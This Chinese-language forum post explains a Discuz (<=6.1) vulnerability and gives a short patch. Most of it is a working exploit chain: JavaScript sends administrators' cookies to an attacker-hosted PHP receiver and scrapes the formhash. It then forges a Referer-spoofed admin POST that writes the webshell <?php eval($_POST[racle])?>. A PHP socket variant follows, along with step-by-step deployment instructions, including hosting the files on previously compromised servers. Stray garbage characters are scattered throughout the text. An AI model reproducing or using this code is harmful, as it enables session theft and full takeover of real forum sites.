Discuz XSS得webshell8 X: D9 q# W$ F1 J) n" N
By racle @tian6.com: r. _) R' H* k* U
欢迎转帖.但请保留版权信息.
5 t7 J3 C" R7 y# E1 H! q: e$ U4 M受影响版本 iscuz<=6.1.0,gbk+utf+big51 D! A* `$ l' t; z8 a
4 P! P1 _5 Y, B( G9 N
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.2 s& L8 h) Q+ p7 e
4 i0 x! _! o! J/ j! f9 K+ x r; }5 A* @/ @
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
[( }- w' n! d) d' ?# O& K当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工., ~9 H8 y v/ _7 D6 d
4 ]7 _! o1 c) N$ W# W- h分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
7 ?' G$ {: ?8 h/ q! u: z本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
* S! |9 p2 W) f* G) u' S" t. |! c' Z+ [4 l5 E7 n" r2 C, V' F$ I M
1 c; A$ d- K# j! j6 U5 u+ v& R----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
3 G& n+ J& k, w1 X/ F/ Y
" D$ v) t5 q8 a2 _/ r
- A" }0 u% y. m) z- F1 y9 {problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
. n8 K, t. I, ?& U/ @
+ W9 X" f6 x% C( S& Y hproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.( p6 t' o8 }$ f. J5 b) c+ s
% |0 q& v7 Y9 s0 p$ [problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
+ L6 r$ a1 A: J* D) r
) a# _0 M2 c, M) q3 }5 M* W( W5 H; t4 _( r4 d
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {+ t7 R; R: M& `+ g
$ d( Q6 ], V: c3 J& v5 y( p global $runwizardfile, $runwizardhistory;) Q i) B! J7 j
; o8 Z" y6 V( w $fp = fopen($runwizardfile, 'w');
. D1 z' A* M; K# v P$ l& Q& ^) {* ]/ ~/ L+ ?3 ~6 V
fwrite($fp, serialize($runwizardhistory));
" H1 z( |# q; Q# K) {6 o5 C5 V! W3 F5 a! w$ {2 _& |6 D; N5 J
fclose($fp);
9 J% S" I, x9 a; q; z0 l5 `, \/ y2 \1 w, y" c9 t5 R
}
- G2 T/ ?& W! U$ d5 _* v: a9 {) [复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
K% X- H% f+ E以下是修补的办法:function saverunwizardhistory() {5 C' M* v! M; `
4 R: K3 |9 ^% h H$ @
global $runwizardfile, $runwizardhistory;
0 Y% H; X. B/ Z5 W, G+ W( N# n3 _6 }( d* h" k+ m
$fp = fopen($runwizardfile, 'w');( Y, E- G. D8 `1 f3 I+ i8 I/ Y& b( F' \+ u# F
: B% m) `: d1 Y
$s = '<?php exit;?>';7 J6 m9 {5 e4 \& _: x/ }
4 z, g2 A* a) u) S$ V- l $s .= serialize($runwizardhistory);% s, C: i$ t; Q% n( M _
; T8 J! j: i' p fwrite($fp, $s);
: W- |$ f5 |/ X$ @. f( @* ?7 a' g( n! o# s8 x: V- x) m- v' v, P
fclose($fp);7 [! {& S/ p3 j, b
5 S F w" u; h0 y$ w# O$ [
} T( g8 G \; B
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
6 v; q' l; D9 K+ x3 k- q- {! r" O6 u
$ u5 p: ^0 ^- b- A2 U4 V" i2 `* z* L) q1 ?+ O2 F
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------/ a& W3 o3 a6 D5 r
2 h- A) q) E. n; \7 M8 R0 d* L+ T: L, @) Y, _
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.: h f' P+ U: H; k& N0 ~
. o0 l( s7 G0 D, R2 T
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.. p% K2 m. D; P- H
" n# L+ Y7 N# B这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
9 H- v- w( `+ D7 O6 ]5 Q3 p) a8 t: o M/ z. A8 x' Q2 K
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
- e, |" R4 h. u" a
% @9 C$ ?; V M1 m% Qvar url="http://目标网站/admincp.php";
% D- J; z6 d( k+ U
4 B4 T$ ]( v. t( G/*获得cookies*// ^0 P% m" D- d9 [6 T
f& N6 t6 M: U- N( q( M' j* }
function getURL(s) {3 r: N p" U3 {: I; `+ G* P
) z% u& }* f" s7 w' j, w. U; Ivar image = new Image();
* b# Y3 I" Y& B7 s) b2 [. }( a7 F2 i& T
image.style.width = 0;
" ~$ j1 h: j- u- K- H* S: _) D
; z( m( x4 W( P9 wimage.style.height = 0;1 q. {- E& j+ s$ _, ?# [' z; R9 W
- z% p ^# o) e. a. a% }image.src = s;
9 D# n& b, T3 y/ `9 W c$ ^7 Q' D" B9 c% D) _$ ]
}" \3 X* o7 m1 V# R% D2 ^
3 M0 L$ O/ G8 B$ k- Y# {4 ~
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php# T0 c9 Z& U! a
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];% o/ C7 L7 g( ?9 t7 R) P
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
r& r q* {! L& R: T& ]% x* |2 v4 E3 J8 u* z0 X2 d
. \3 G- d0 m) e! ?' p) ^获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
5 i8 V o' u! Z8 [
; f/ T; c! Y0 U! t) `
8 ?+ I/ s/ K I" d. f! t
, @3 m- D1 b! r; K8 S7 s4 h+ w* D/*hash*/
1 b: W, ?$ e s! ]# G8 d, k: o2 n# q' U q U; n; y
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");4 e" F- I7 c& I* ~4 G/ i
# Z. c# o# k7 X6 D; t/ f
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
, I, f% J! r+ C! ^3 u0 H9 t# k8 G; _2 x4 O; _
xmlHttpReq.send();
3 g) @* _4 v. O3 O, r1 Q5 i5 v9 ?3 l2 i0 R7 R6 x( n: ?
var resource = xmlHttpReq.responseText;
4 z5 D6 p, v# o1 z5 r( P" i: L/ j' q3 c
var numero = resource.search(/formhash/);
: o' l: Q; ~- k% g* [( C7 I
& o" r& H5 t9 G" o" hvar formhash=encodeURIComponent(resource.substr(numero+17,8));# ~! H1 |$ l- S# D7 B/ F7 u& B @
/ R; C' I% y, b
' _+ E) L% `0 d/ C; @, G0 P0 w3 Q9 E+ U7 P& {7 ~7 M2 W
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 6 a. c) e1 Q/ U. m9 [, q; K8 [
3 V* g! y( e* G: i" t2 q
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
+ r8 C# G/ d+ y3 ^, D% d' A7 }4 L2 y4 T9 o
xmlHttpReq.setRequestHeader("Referer", url);' r$ G# e: ?& `9 W5 X9 O
8 O- j9 b. ]% s3 ZxmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
$ m# S! V) s( o
$ S4 G/ m/ t8 t9 u- y! r) HxmlHttpReq.setrequestheader("content-length",post.length);
8 P, d5 K7 W0 {2 T$ {& g) f7 t! i' p% X! i# G# ?( n W
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); ) V) B3 A9 @/ F
) {5 F) w2 g9 O% T1 {! {xmlHttpReq.send(post);//发送数据- `- s1 {$ d/ `! q: w
复制代码这里HASH我假设正确,这样提交,也无须cookies3 H% R0 c: ~7 t, y7 y1 I5 D2 B8 ~
! K3 |* i) m3 S f9 p
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
- p) a/ }% @$ T+ C- r; @& b9 w9 k& D! t6 _- [ N+ D8 P
if (!$sock) die("$errstr ($errno)\n");
* F: \( z2 E) {9 f- B+ k) p7 R) I1 v ]
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';. p% D9 t/ \ B! `- F9 l
* T! t6 X. V8 ~2 A+ U, G Q
0 W6 d4 ]3 q1 ^5 x$ s5 R4 M8 ?* U0 \' G4 K( u0 ?
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");' l2 Q$ h1 ]) s, \+ z4 x
4 g# t3 a7 B3 b, n6 e {0 m
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");# T A$ {$ W2 z5 X
- V% E8 F# Z5 E1 b/ z ffwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");0 R: ]. G3 \$ J
: O( I: P: A1 ?
fwrite($sock, "Accept-Language: zh-cn\r\n");
% f" P5 j$ h( ]' r6 X/ Y1 ], J( [% |- `$ C; g- P; F) c& r
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
$ a) L6 W5 r0 F* @- B1 t
4 V( _4 `) C" }, E- E3 e( mfwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
9 C" q8 D& `/ ]. c% n+ e
( n1 X8 I7 f1 y R: Q# \fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");8 Y' ?: i7 y8 x; V
8 k& u% J: r4 m- R" j6 G
fwrite($sock, "Host: $url\r\n");
1 g8 @8 L; H: C( @) n
7 e( O# Z$ G3 L4 n; B( ]+ c" H3 r) \fwrite($sock, "Content-Length: ".strlen($data)."\r\n");- o. i/ f- X" c6 H! ~/ h) v
, @4 w) z" g8 ^! S" O' a6 W
fwrite($sock, "Connection: Keep-Alive\r\n");
/ M( L1 E! c* x8 E# r5 m, H! p S! q; @3 f7 C
fwrite($sock, "Cache-Control: no-cache\r\n");
: k/ q& w. ^9 o) I- i; ?2 T% v6 `. u) d R7 ]
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");
4 I+ ~* T) E+ u& X2 v; h( f0 r6 g
# l5 _/ L; H! ~ wfwrite($sock, $data);
1 ]3 s& ]. P' v( K& I& l$ o. G* T" C+ k( Y3 M
! w/ P! X5 Q3 o s. w' q% i% O( B Q e, U* x
$headers = "";
. o" W; a7 z" z ] g/ y& u F! J1 m1 F; }7 a
while ($str = trim(fgets($sock, 4096)))5 L' [9 r) \- G3 y; i
2 a3 @( a+ K* E" Q: ?# H' q
$headers .= "$str\n";1 T5 [+ T) _1 P* q6 w
: Q; i8 ?4 l0 K, V
echo "\n";
& _8 X. m6 c+ o& q
0 K; R+ O- K5 H$body = "";
" H7 D! `. o/ }# W
: ]! [0 E; C/ ]2 U; swhile (!feof($sock))1 K# D9 c: y# c) ]: o
7 _. y2 l! A3 K6 Z6 s
$body .= fgets($sock, 4096);* T3 R. Z2 T( W9 V8 U2 k/ o$ H1 z# @% V
8 Q& ~8 L, ]: f, s$ l1 [fclose($sock);! z, e; ^& H5 e9 q3 z' S8 ]6 A C
! T8 N0 Z* Q G- ]! F5 ?0 w" \: i" K) xecho $body;; \! w! q% I" q) h- A
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
$ E* c: D u" A6 Z4 U9 j% B) ?0 j3 G! ?0 Z$ O
0 D) f+ Q+ I; i7 }, ` m* m
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------/ A. R, H& F; f- d
u( H4 m) C$ H) V- A
$ P" C0 M& D5 z4 ^1 HP SOCKET利用方法首先打开racle.js+ }. V/ P8 r8 u0 o* _+ N' i7 ~
: I, }' k/ v. [" M: }5 ]
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
0 g9 a0 N0 E' U4 p, b! W7 O& k7 \- Y: m: x1 y/ `
' [; e3 Y$ f9 \ G B6 [# `2 w
! U, J6 o7 Z# {) G& t, p% B# @: E
然后打开racle@tian6.php
0 j( R( t+ |6 O" c/ G
, M' A& l" L: S. Z& r, r$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com
. v# N! V5 K" w6 j# c0 [' @, n1 r5 `# {# M
R D0 C/ i: X& G5 F
2 T! t3 K3 N X. l8 R. w如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
$ r4 y8 Z7 |& e8 n' U$ w* Y6 k& z Y! S3 r
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));/ g) V/ c$ Q3 y7 z
C$ Q3 f8 g! X$ s4 a3 g. C% m3 g2 p+ _4 x为0 a% }% F! O# f
4 c8 b' _ T1 p+ ^5 I
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
* L* G. L0 Q& z- Y1 e复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.7 s( t$ }2 x7 x, Y+ D# M2 \. O2 p
* |% }( D9 `* j5 e. a. y
* s4 M$ d* o3 }0 j# v8 h: B% s0 B1 ~
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:+ M& v/ ?% ] J w: i+ L
* x0 [2 ?& t0 p0 g- a% T% ]# w6 y9 x, t
var formhash=encodeURIComponent(resource.substr(numero+17,8));. |/ H! T* T9 e9 }* z: H
) \6 K6 p! `( J' O; C+ [( b为' ? l& N- w# f+ F+ o
3 B& @- m/ T* e# b
var formhash=encodeURIComponent(resource.substr(numero+9,8));, R% m5 x+ U/ e4 ~
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
4 l3 }8 T7 N8 l/ k
* H4 j' k2 Z# M如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点., C) r" n) a( D: c. G4 I% ?
" h9 C- {; n. S7 h& A
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
* p2 T. f6 A! G
/ l9 K, @/ K' T# v* |1 R不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.. ~ p7 b# X, n( V( ~
/ a' m) t( r* X7 l- K |